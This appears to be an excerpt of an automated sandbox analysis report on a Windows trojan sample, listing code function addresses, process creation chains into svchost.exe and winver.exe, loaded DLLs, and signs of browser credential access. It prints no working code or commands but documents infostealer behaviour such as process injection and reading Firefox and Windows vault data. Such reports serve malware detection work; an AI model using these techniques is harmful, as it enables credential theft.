Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03842840	1_2_03842840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BEFA0	1_2_038BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03832FC8	1_2_03832FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03882F28	1_2_03882F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03860F30	1_2_03860F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E2F30	1_2_038E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B4F40	1_2_038B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03852E90	1_2_03852E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FCE93	1_2_038FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FEEDB	1_2_038FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FEE26	1_2_038FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840E59	1_2_03840E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03858DBF	1_2_03858DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383ADE0	1_2_0383ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384AD00	1_2_0384AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DCD1F	1_2_038DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0CB5	1_2_038E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830CF2	1_2_03830CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840C00	1_2_03840C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0388739A	1_2_0388739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F132D	1_2_038F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382D34C	1_2_0382D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038452A0	1_2_038452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385B2C0	1_2_0385B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E12ED	1_2_038E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385D2F0	1_2_0385D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384B1B0	1_2_0384B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0387516C	1_2_0387516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382F172	1_2_0382F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0390B16B	1_2_0390B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EF0CC	1_2_038EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038470C0	1_2_038470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F70E9	1_2_038F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FF0E0	1_2_038FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FF7B0	1_2_038FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F16CC	1_2_038F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03885630	1_2_03885630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DD5B0	1_2_038DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039095C3	1_2_039095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F7571	1_2_038F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FF43F	1_2_038FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03831460	1_2_03831460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385FB80	1_2_0385FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B5BF0	1_2_038B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0387DBF9	1_2_0387DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FFB76	1_2_038FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DDAAC	1_2_038DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03885AA0	1_2_03885AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E1AA3	1_2_038E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EDAC6	1_2_038EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FFA49	1_2_038FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F7A46	1_2_038F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B3A6C	1_2_038B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D5910	1_2_038D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03849950	1_2_03849950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385B950	1_2_0385B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038438E0	1_2_038438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AD800	1_2_038AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03841F92	1_2_03841F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FFFB1	1_2_038FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03803FD2	1_2_03803FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03803FD5	1_2_03803FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FFF09	1_2_038FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03849EB0	1_2_03849EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385FDC0	1_2_0385FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03843D40	1_2_03843D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F1D5A	1_2_038F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F7D73	1_2_038F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FFCF2	1_2_038FFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B9C32	1_2_038B9C32
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E95B9F	5_2_02E95B9F
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E95B97	5_2_02E95B97
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E93E3F	5_2_02E93E3F
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E93F83	5_2_02E93F83
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02EB479F	5_2_02EB479F
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E9C47F	5_2_02E9C47F
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E95DBF	5_2_02E95DBF
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B4E4F6	6_2_04B4E4F6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B44420	6_2_04B44420
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B52446	6_2_04B52446
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B60591	6_2_04B60591
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA0535	6_2_04AA0535
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ABC6E0	6_2_04ABC6E0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A9C7C0	6_2_04A9C7C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA0770	6_2_04AA0770
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AC4750	6_2_04AC4750
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B32000	6_2_04B32000
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B541A2	6_2_04B541A2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B601AA	6_2_04B601AA
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B581CC	6_2_04B581CC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A90100	6_2_04A90100
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B3A118	6_2_04B3A118
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B28158	6_2_04B28158
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B202C0	6_2_04B202C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B40274	6_2_04B40274
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B603E6	6_2_04B603E6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AAE3F0	6_2_04AAE3F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5A352	6_2_04B5A352
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B40CB5	6_2_04B40CB5
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A90CF2	6_2_04A90CF2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA0C00	6_2_04AA0C00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AB8DBF	6_2_04AB8DBF
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A9ADE0	6_2_04A9ADE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AAAD00	6_2_04AAAD00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B3CD1F	6_2_04B3CD1F
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5CE93	6_2_04B5CE93
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AB2E90	6_2_04AB2E90
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5EEDB	6_2_04B5EEDB
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5EE26	6_2_04B5EE26
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA0E59	6_2_04AA0E59
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B1EFA0	6_2_04B1EFA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A92FC8	6_2_04A92FC8
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B42F30	6_2_04B42F30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AE2F28	6_2_04AE2F28
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AC0F30	6_2_04AC0F30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B14F40	6_2_04B14F40
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A868B8	6_2_04A868B8
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ACE8F0	6_2_04ACE8F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA2840	6_2_04AA2840
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AAA840	6_2_04AAA840
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA29A0	6_2_04AA29A0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B6A9A6	6_2_04B6A9A6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AB6962	6_2_04AB6962
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A9EA80	6_2_04A9EA80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B56BD7	6_2_04B56BD7
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5AB40	6_2_04B5AB40
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5F43F	6_2_04B5F43F
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A91460	6_2_04A91460
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B3D5B0	6_2_04B3D5B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B695C3	6_2_04B695C3
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B57571	6_2_04B57571
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B516CC	6_2_04B516CC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AE5630	6_2_04AE5630
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5F7B0	6_2_04B5F7B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5F0E0	6_2_04B5F0E0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B570E9	6_2_04B570E9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA70C0	6_2_04AA70C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B4F0CC	6_2_04B4F0CC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AAB1B0	6_2_04AAB1B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD516C	6_2_04AD516C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A8F172	6_2_04A8F172
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B6B16B	6_2_04B6B16B
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA52A0	6_2_04AA52A0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B412ED	6_2_04B412ED
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ABD2F0	6_2_04ABD2F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ABB2C0	6_2_04ABB2C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AE739A	6_2_04AE739A
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5132D	6_2_04B5132D
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A8D34C	6_2_04A8D34C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5FCF2	6_2_04B5FCF2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B19C32	6_2_04B19C32
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ABFDC0	6_2_04ABFDC0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B57D73	6_2_04B57D73
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA3D40	6_2_04AA3D40
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B51D5A	6_2_04B51D5A
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA9EB0	6_2_04AA9EB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5FFB1	6_2_04B5FFB1
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA1F92	6_2_04AA1F92
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A63FD5	6_2_04A63FD5
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04A63FD2	6_2_04A63FD2
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5FF09	6_2_04B5FF09
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA38E0	6_2_04AA38E0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B0D800	6_2_04B0D800
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B35910	6_2_04B35910
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AA9950	6_2_04AA9950
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ABB950	6_2_04ABB950
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AE5AA0	6_2_04AE5AA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B41AA3	6_2_04B41AA3
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B3DAAC	6_2_04B3DAAC
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B4DAC6	6_2_04B4DAC6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B13A6C	6_2_04B13A6C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B57A46	6_2_04B57A46
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5FA49	6_2_04B5FA49
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ABFB80	6_2_04ABFB80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B15BF0	6_2_04B15BF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04ADDBF9	6_2_04ADDBF9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04B5FB76	6_2_04B5FB76
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_00841F60	6_2_00841F60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0083CEC8	6_2_0083CEC8
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0083CED0	6_2_0083CED0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0083D0F0	6_2_0083D0F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0083B170	6_2_0083B170
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0083B2B4	6_2_0083B2B4
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_00845560	6_2_00845560
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_008437B0	6_2_008437B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0085BAD0	6_2_0085BAD0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0460E4C3	6_2_0460E4C3
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0460E3A8	6_2_0460E3A8
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0460E85C	6_2_0460E85C
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0460D928	6_2_0460D928
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0460CB17	6_2_0460CB17
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0460CBC8	6_2_0460CBC8

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: String function: 00D13536 appears 31 times
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: String function: 00D1B606 appears 32 times
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: String function: 00D348F3 appears 49 times
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: String function: 00D309B0 appears 46 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 04B1F290 appears 103 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 04AD5130 appears 58 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 04B0EA12 appears 86 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 04A8B970 appears 262 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 04AE7E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03887E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0382B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 038AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 038BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03875130 appears 58 times

Source: FOTO#U011eRAFLAR.exe, 00000000.00000003.1694633191.0000000003B2D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs FOTO#U011eRAFLAR.exe
Source: FOTO#U011eRAFLAR.exe, 00000000.00000003.1693971355.0000000003983000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs FOTO#U011eRAFLAR.exe

Source: FOTO#U011eRAFLAR.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@11/10

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D836D3 GetLastError,FormatMessageW,

0_2_00D836D3

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D71003 AdjustTokenPrivileges,CloseHandle,		0_2_00D71003
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D71607 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00D71607

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D850EB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00D850EB

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D9A5A3 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00D9A5A3

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D863AC _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00D863AC

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D16122 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00D16122

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

File created: C:\Users\user\AppData\Local\Temp\hypopygidium

Source: FOTO#U011eRAFLAR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: winver.exe, 00000006.00000002.3545292765.0000000000C82000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: FOTO#U011eRAFLAR.exe

ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe "C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe"
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe"
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Process created: C:\Windows\SysWOW64\winver.exe "C:\Windows\SysWOW64\winver.exe"
Source: C:\Windows\SysWOW64\winver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe"	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Process created: C:\Windows\SysWOW64\winver.exe "C:\Windows\SysWOW64\winver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Section loaded: iphlpapi.dll	Jump to behavior
